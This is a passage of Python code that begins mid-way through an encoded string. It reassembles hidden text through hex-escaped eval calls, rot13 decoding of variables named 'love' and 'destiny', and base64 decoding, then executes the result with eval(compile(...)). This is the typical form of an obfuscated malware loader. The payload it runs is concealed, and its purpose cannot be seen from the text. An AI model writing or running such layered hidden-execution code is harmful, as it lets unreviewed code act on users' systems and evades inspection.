Q09AGbXPDyjpzyhqPtvKT4vXDbWPKA5pl5yrTy0XPxXPJIfp2H6PtxWnKNbXDbXnJLtK19hLJ1yK18tCG0tW19soJScoy9sWmbXPJyjXPxX'
joy = '\x72\x6f\x74\x31\x33'
trust = eval('\x6d\x61\x67\x69\x63') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x6c\x6f\x76\x65\x2c\x20\x6a\x6f\x79\x29') + eval('\x67\x6f\x64') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x64\x65\x73\x74\x69\x6e\x79\x2c\x20\x6a\x6f\x79\x29')
eval(compile(base64.b64decode(eval('\x74\x72\x75\x73\x74')),'<string>','exec'))